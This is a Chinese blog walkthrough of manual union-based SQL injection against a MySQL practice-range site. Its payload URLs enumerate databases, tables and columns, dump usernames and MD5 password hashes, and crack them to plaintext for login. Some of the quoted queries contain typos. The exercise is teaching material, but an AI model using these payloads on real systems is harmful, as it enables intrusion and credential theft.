MySQL注入实战

最新推荐文章于 2022-10-06 13:08:14 发布
最新推荐文章于 2022-10-06 13:08:14 发布
阅读量377 收藏 4
点赞数
分类专栏： 信息安全 文章标签： SQL注入
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/sql17819185963/article/details/100518843
版权

第1步、访问靶场

靶场地址：http://219.153.49.228:41377

第2步、

1、查找
观察页面，查找单页面之处：
在这里插入图片描述
2、页面提交：
http://219.153.49.228:41377/new_list.php?id=1 and 1=2
在这里插入图片描述
3、返回结果
返回内容为空
4、数据库查询：
select * from news where id =1 and 1=2
5、解析：
因为1=2不成立，所以返回内容为空。

第3步

1、页面提交:

  http://219.153.49.228:41377/new_list.php?id=1 and  order by 1

2、返回结果：

在这里插入图片描述
3、数据库查询：

select * from news where id=1 order by 1

4、解析
说明，该页面所对应的后台数据表中最少有一个字段，所以，下一步我们的目标是，查找出他有多少个这样的目标，即，我们得一步一步的测试 order by 2,3,4,……n。

第4步

1、页面提交

 http://219.153.49.228:41377/new_list.php?id=1 order by id=1

最终测试了4次，第三次，order by 4 正常，第四次在order by 5 时候页面为空。
2、返回结果
order by 4 时、
在这里插入图片描述
order by 5 时、
在这里插入图片描述
3、数据库查询

//order by 3:
select * from news where id=1 order by 3
// order by 4:
select * from news where id=1 order by 4

4、解析
这步探讨出了，该数据所对应有多少个字段，证明该数据库有4个字段。

第5步、

1、页面提交、

// %20 表示空格
http://219.153.49.228:41377/new_list.php?id=1%20and%201=2%20union%20select%201,2,3,4

2、返回结果、
在这里插入图片描述
3、数据库查询

select * from news where id=1 and 1=2 union select 1,2,3,4

4、解析
通过联合查询，我们得知，标题的字段是2，内容字段是3。所以后续的步骤以这里为漏洞切入点。

第5步、

1、页面提交

http://219.153.49.228:41377/new_list.php?id=1%20and%201=2%20union%20select%201,database(),version(),4

2、页面返回
在这里插入图片描述
3、数据库查询

select * from news where id=1 and 1=2 union select 1,database(),version(),4

4、解析
SQL语句中database()是查询当前数据库的名称（语法：select database();）,一个服务器上可能有多个数据库，version()是查询当前数据的版本（语法：select version();），这里是这2个内容分别显示在第2、3的位置上，mozhe_Discuz_StormGroup为数据库，5.7.22-0ubuntu0.16.04.1为数据库版本和操作系统的版本。

第6步、

1、页面提交

http://219.153.49.228:41377/new_list.php?id=1%20and%201=2%20union%20select%201,SCHEMA_NAME,3,4%20from%20information_schema.SCHEMATA%20limit%200,1

2、返回结果
在这里插入图片描述
3、数据库查询

select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1

4、解析
因为MySQL数据服务器上必定存在information_schema数据库，其中记录了当前数据库系统中大部分我们需要了结的信息，比如字符集，权限相关，数据库实体对象信息，外检约束，分区，压缩表，表信息，索引信息，参数，优化，锁和事物等等。说白了，就是这个默认自带的数据中，存储了MySQL的数据库名字、表名字、列名字和其他信息，通过information_schema我们可以查看整个MySQL实例的情况。limit 0,1意思是从第0行起，取1行数据，information_schema为获取的第1个数据库名称。

第7步、

1、页面键入

http://219.153.49.228:41377/new_list.php?id=1%20and%201=2%20union%20select%201,SCHEMA_NAME,3,4%20from%20information_schema.SCHEMATA%20limit%201,1

2、页面返回
在这里插入图片描述
3、数据库查询

select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 FROM infomation _schema.SCHEMATA LIMIT 1,1

4、解析
表示查询information_shcema数据库中的SCHEMATA表获取第一行的一条数据。这步主要还是排查有多少数据库，并把查询出来的数据库名显示在标题上。依此类推，最终得到该服务器上有多少数据库。

第8步

1、页面键入
第一行

 http://219.153.49.228:41377/new_list.php?id=1%20and%201=2%20union%20select%201,SCHEMA_NAME,3,4%20from%20information_schema.SCHEMATA%20limit%202,1

第二行

 http://219.153.49.228:41377/new_list.php?id=1%20and%201=2%20union%20select%201,SCHEMA_NAME,3,4%20from%20information_schema.SCHEMATA%20limit%203,2

以此类推，到第五行，返回数据为空，所以该服务器上有6个数据库，
2、返回结果
第二行
在这里插入图片描述
第三行
在这里插入图片描述
第五行
在这里插入图片描述
3、数据库查询
第二行

select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 FROM infomation _schema.SCHEMATA LIMIT 2,1

第三行

select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 FROM infomation _schema.SCHEMATA LIMIT 3,1

第五行

select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 FROM infomation _schema.SCHEMATA LIMIT 5,1

4、解析：
通过不断的试探，查找出所有的数据库，limit 5,1意思是从第5行起，取1行数据，返回为空，说明只有5个数据库information_schema、mozhe_Discuz_StormGroup、mysql、performance_schema、sys。进而推测出，登录所需要的数据在那个表。照目前来看只有mozhe_Discuz_StormGroup为系统所带数据库。 即：以下步骤都只在mozhe_Discuz_StormGroup数据库操作并查找所需的数据

第8步、

1、页面键入

http://219.153.49.228:40080/new_list.php?id=1%20and%201=2%20union%20select%201,TABLE_NAME,3,4%20from%20information_schema.TABLES%20where%20TABLE_SCHEMA=%27mozhe_Discuz_StormGroup%27%20limit%200,1

2、结果返回
在这里插入图片描述
3、数据库查询：

select * from news where id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 0,1

4、分析
通过开始查询非MySQL自带的数据库，开始查找出其余表，目的是开始找出登录数据所在的数据库，进而找出所在的表。查询对应数据库mozhe_Discuz_StormGroup的第1个数据表名称，limit 0,1，第1个表名为StormGroup_member。

第9步、

通过上述不断试探的步骤，先找出第二个数据库所有的表名，进而第三个数据库，找完所有非系统所带的数据库。 本服务器只有mozhe_Discuz_StormGroup为非系统所带数据库
1、页面键入

//  mozhe_Discuz_StormGroup数据库
//第二个表
http://219.153.49.228:40080/new_list.php?id=1%20and%201=2%20union%20select%201,TABLE_NAME,3,4%20from%20information_schema.TABLES%20where%20TABLE_SCHEMA=%27mozhe_Discuz_StormGroup%27%20limit%201,1
//第三个表，返回空，进而推出该数据库下只有两个数据表

2、结果返回
第二个表
在这里插入图片描述
查询第三个无返回
在这里插入图片描述
3、数据库查询

select * from news where id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 1,1

4、分析
按上述所查询返回结果，可知，该数据库只有两个数据表StormGroup_member 和 notice ，见名知意可知，最大的数据存储在第一个表中，所以，下面开始测试该数据库下的数据表中的字段，看能否找到name，Email，password之类的字段。

第10步、

1、页面键入

http://219.153.49.228:40080/new_list.php?id=1%20and%201=2%20union%20select%201,COLUMN_NAME,COLUMN_TYPE,4%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=%27mozhe_Discuz_StormGroup%27%20and%20TABLE_NAME=%27StormGroup_member%27%20limit%200,1

2、返回结果
在这里插入图片描述
3、数据库查询

select * from news where id=1 and 1=2 union 1,COLUMN_NAME,COLUMN_TYPE, 4 from information_schema.COLUMN WHERE TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 0,1

4、分析
通过查询第一个表StormGroup_member中的第一行数据中的第一个字段的字段名及字段类型。第1个名称为id，类型：整型int(11)。

第11步、

以此类推，不断查找第一行数据的所有字段。
1、页面键入、

http://219.153.49.228:40080/new_list.php?id=1%20and%201=2%20union%20select%201,COLUMN_NAME,COLUMN_TYPE,4%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=%27mozhe_Discuz_StormGroup%27%20and%20TABLE_NAME=%27StormGroup_member%27%20limit%201,1
// 页面返回的是 名称为name，类型：字符型varchar(20)。
http://219.153.49.228:40080/new_list.php?id=1%20and%201=2%20union%20select%201,COLUMN_NAME,COLUMN_TYPE,4%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=%27mozhe_Discuz_StormGroup%27%20and%20TABLE_NAME=%27StormGroup_member%27%20limit%202,1
// 页面返回的是 名称为password，类型：字符型varchar(255)。
http://219.153.49.228:40080/new_list.php?id=1%20and%201=2%20union%20select%201,COLUMN_NAME,COLUMN_TYPE,4%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=%27mozhe_Discuz_StormGroup%27%20and%20TABLE_NAME=%27StormGroup_member%27%20limit%203,1
// 页面返回的是 名称为status，类型：int(11)。
http://219.153.49.228:40080/new_list.php?id=1%20and%201=2%20union%20select%201,COLUMN_NAME,COLUMN_TYPE,4%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=%27mozhe_Discuz_StormGroup%27%20and%20TABLE_NAME=%27StormGroup_member%27%20limit%204,1
//页面返回为空。

2、页面结果
不一 一列举，只给出limit 4,1的
在这里插入图片描述
3、数据库查询
不一 一列举，只给出limit 4,1的

select * from news where id=1 and 1=2 union 1,COLUMN_NAME,COLUMN_TYPE, 4 from information_schema.COLUMN WHERE TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 4,1

4、分析
由上述四步分析可知：该数据库mozhe_Discuz_StormGroup下的数据表==StormGroup_member ==只有四个字段分别为：id,name,password,status。所以下一步骤便是查找出其所有行再找出其数据。

第12步、

1、页面键入

http://219.153.49.228:40080/new_list.php?id=1%20and%201=2%20union%20select%201,count(*),3,4%20from%20mozhe_Discuz_StormGroup.StormGroup_member

2、结果返回
在这里插入图片描述
3、数据库查询

select * from news where id=1 and 1=2 union select 1,count(*),3,4 from mozhe_Discuz_StormGroup.StormGroup_member

4、分析
该数据表明，该表只有两条数据。查数据

第13步、

1、页面键入

补充CONCAT函数的用法。
使用方法：CONCAT(str1,str2,…) 返回结果为连接参数产生的字符串。如有任何一个参数为NULL ，则返回值为 NULL。

http://219.153.49.228:40080/new_list.php?id=1%20and%201=2%20union%20select%201,CONCAT(name,%27-%27,password,%27-%27,status),3,4%20from%20mozhe_Discuz_StormGroup.StormGroup_member%20limit%200,1

2、返回结果
在这里插入图片描述
3、数据库查询

select * from news where id=1 and 1=2 union select 1,CONCAT(name,'-',password,'-',status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1

4、总结分析
通过CONCAT()函数，返回数据表==StormGroup_member ==下的第一行name，加密的密码，status的值。

第14步、

继续查找出第二条数据
1、最后返回结果
在这里插入图片描述
2、总结分析
（1）我们得知：

  • 第一条登录数据：mozhe-356f589a7df439f6f744ff19bb8092c0-0

  • 第二条登录数据：mozhe-b79ef59ea93f1e13a22230b470fc6dcb-1
    (2) 使用在线解密工具：
    https://www.cmd5.com/，解密出密码明文。

  • 第一条数据密码明文：dsan13

  • 第二条数据密码明文：266033
    （3）分别登录：

  • 第一个
    在这里插入图片描述

  • 第二个
    在这里插入图片描述
    到此，网站终于被攻破，破解。通过分析我们得知，status字段值为0代表被禁用。

好了，本文就此结束，欢迎各位大佬指点错误不足之处，也欢迎广大感兴趣的朋友一起留言交流，谢谢。最后，麻烦各位点个赞，哈哈哈哈。
JerryF01
关注
  • 0
    点赞
  • 踩
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
PHP+Mysql注入攻防实战.pdf
04-22
PHP+Mysql注入攻防实战 新手学习 不错的教材
SQL注入之MySQL注入
weixin_51583033的博客
12-20 799
SQL注入之MySQL注入
SQL注入实战-MySQL
weixin_47493074的博客
10-06 929
SQL注入实战-MySQL
SQL注入实战MySQL_SQL注入实战-MySQL
weixin_35070578的博客
02-11 308
靶场地址：https://mozhe.cn/bug/detail/MFZ4VjBxRnlIMHBUdGllRDJBMWtRZz09bW96aGUmozhe进入靶场详情页，点击启动靶场，根据系统提供的信息进入靶场环境。Php注入mysql查询语句，由地址中的“?id=MQo=”可以看出，此处传递时用了base64编码，base64解码“id=MQo=”为1，常用mysql注入语句：这里仅列出常用的信...
mysql sql注入例子_SQL注入的实际案例
weixin_39723010的博客
02-05 911
发动SQL注入要做的三件事确定Web应用程序所使用的技术为了确定所采用的技术，攻击者可以考察Web页面的页脚，查看错误页面，检查页面源代码，或者使用诸如Nessus、AWVS、APPSCAN等工具来进行刺探。确定所有可能的输入方式一般来说，所有HTTP的GET和POST都应当作用户输入。为了找出一个Web应用所有可能的用户输入，我们可以求助于Web代理，如Burp等。查找可以用于注射的用户输入在找...
【mysql】sql注入
清风微醺的博客
04-18 2345
sql注入攻击实例mysql_SQL注入攻击案例 SQL注入案例 所谓的sql注入本质上还是执行sql语句 检测注入点 判断是否存在sql注入可能 判断当前表有多少字段 利用order by n select * from tag order by 2; order by n以第n个column排序,如果n大于表中字段个数会报错。 SQL注入常用爆库语句 爆库 SELECT * FROM `tag` where id = 3 union select 1,database(); 查询informat
mysql注入式实战攻击视频
08-10
具体介绍了mysql注入式实战攻击的方法，讲解详细，很适合菜鸟
MySQLDBA运维笔记.pdf
11-04
1.2 mysql 多实例安装实战......................................................................................................9 1.2.1 什么是 mysql 多实例？ ...............................................
SQL注入法攻击一日通
03-31
文档虽然小，但是全是干货。没有没用的。...SQL注入攻击的总体思路是： l 发现SQL注入位置； l 判断后台数据库类型； l 确定XP_CMDSHELL可执行情况 l 发现WEB虚拟目录 l 上传ASP木马； l 得到管理员权限；
MySQL数据库渗透及漏洞利用总结
02-25
各种Mysql注入，Mysql提权，Mysql数据库root账号webshell获取等的，但没有一个对Mysql数据库渗透较为全面对总结，针对这种情况我们开展了研究，虽然我们团队今年正在出版《网络攻防实战研究——漏洞利用与提权》，但...
PHP、mysql（手工注入）
10-12
资源分享者，资源爱好者，我是浪杉，点我资料关注，每日不定时分享全网优质源码！
SQL注入实战
11-20
安全大神冰河亲自制作SQL注入入门级案例，非常适合初学者研究实践SQL注入，更好的提升自身对SQL 漏洞的注入能力和对数据库安全的认识。
sql注入实例--安全等级
12-26
使用WebGoat，根据提示信息 ，完成包括Injection Flaw大类下的String SQL注入，Numeric SQL注入，Log Spoofing，XPATH Injection等安全弱点的攻击测试。
Mysql注入实战
weixin_43821278的博客
07-14 186
mysql注入【实战】-报错注入与布尔盲注报错注入布尔盲注 请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章作者无关。未经过授权，禁止非法测试。 报错注入 靶场如图。没有验证码防止爆破。打开burp，试试有没有SQL注入。 burp抓包如下： 居然有错误回显，那没得说了。直接上sqlmap，但是没有成功。不知道为什么，显示404 not found好吧。那就借助burp半自动好了。 查看用户user(),database(),version() refurl=&us
SQL注入实战————1、MySQL手工注入实战
热门推荐
Fly_鹏程万里
05-06 1万+
无意中发现了一个巨牛巨牛的人工智能教程，忍不住分享一下给大家。教程不仅是零基础，通俗易懂，小白也能学，而且非常风趣幽默，还时不时有内涵段子，像看小说一样，哈哈～我正在学习中，觉得太牛了，所以分享给大家。点这里可以跳转到教程！ SQL注入实战 靶场地址：http://219.153.49.228:48204/show.php?id=MQ== 首先可以看到该URL中存在一个参数“MQ==”，从参...
mysql sql注入例子_sql注入的各种实例情况
weixin_42718924的博客
02-05 654
/////////////////////////////////////命令注入攻击:使用的是system函数执行windows系统dir命令，来显示URL参数dir所指定的子目录的内容。 可以使用escapeshellarg函数来处理命令的参数，防止URI来进行命令注入攻击使用的是passthru函数执行windows系统命令，读取URL参数username所指定的来访者账号，并显示来访者...
mysql手工注入演示
大哥一声吼
10-10 1096
演示环境准备： php环境，存在漏洞的php脚本，mysql数据库以及数据表 php环境直接使用phpstudy即可 存在漏洞的脚本文件    <!DOCTYPE html> <html> <head> <title>sql注入测试页面</title> </head> <?php header("Cont
记一次MySQL手工注入案例
乐枕的家
11-29 835
记录一次手动注入学校某站MySQL的过程 信息收集发现方式子域名扫描 -> 导入awvs -> 批量扫blind-injectionurlhttp://home.bjtu.edu.cn/info(whatweb) 202.112.147.124(学校内网) Apache/2.4.9 Win64 PHP/5.5.12 parameterhttp://home.bjtu.edu.cn/ctrl/vo
np.linespace(256)
最新发布
05-12
这条代码是不完整的，需要指定起始值和结束值，才能生成一个包含256个元素的等差数列。假设我们要生成0到255之间的256个整数，可以使用以下代码： ```python import numpy as np arr = np.linspace(0, 255, 256) print(arr) ``` 输出结果为： ``` [ 0. 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. 17. 18. 19. 20. 21. 22. 23. 24. 25. 26. 27. 28. 29. 30. 31. 32. 33. 34. 35. 36. 37. 38. 39. 40. 41. 42. 43. 44. 45. 46. 47. 48. 49. 50. 51. 52. 53. 54. 55. 56. 57. 58. 59. 60. 61. 62. 63. 64. 65. 66. 67. 68. 69. 70. 71. 72. 73. 74. 75. 76. 77. 78. 79. 80. 81. 82. 83. 84. 85. 86. 87. 88. 89. 90. 91. 92. 93. 94. 95. 96. 97. 98. 99. 100. 101. 102. 103. 104. 105. 106. 107. 108. 109. 110. 111. 112. 113. 114. 115. 116. 117. 118. 119. 120. 121. 122. 123. 124. 125. 126. 127. 128. 129. 130. 131. 132. 133. 134. 135. 136. 137. 138. 139. 140. 141. 142. 143. 144. 145. 146. 147. 148. 149. 150. 151. 152. 153. 154. 155. 156. 157. 158. 159. 160. 161. 162. 163. 164. 165. 166. 167. 168. 169. 170. 171. 172. 173. 174. 175. 176. 177. 178. 179. 180. 181. 182. 183. 184. 185. 186. 187. 188. 189. 190. 191. 192. 193. 194. 195. 196. 197. 198. 199. 200. 201. 202. 203. 204. 205. 206. 207. 208. 209. 210. 211. 212. 213. 214. 215. 216. 217. 218. 219. 220. 221. 222. 223. 224. 225. 226. 227. 228. 229. 230. 231. 232. 233. 234. 235. 236. 237. 238. 239. 240. 241. 242. 243. 244. 245. 246. 247. 248. 249. 250. 251. 252. 253. 254. 255.] ``` 可以看到，生成了一个包含256个元素的等差数列，每个元素之间的差值相等。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值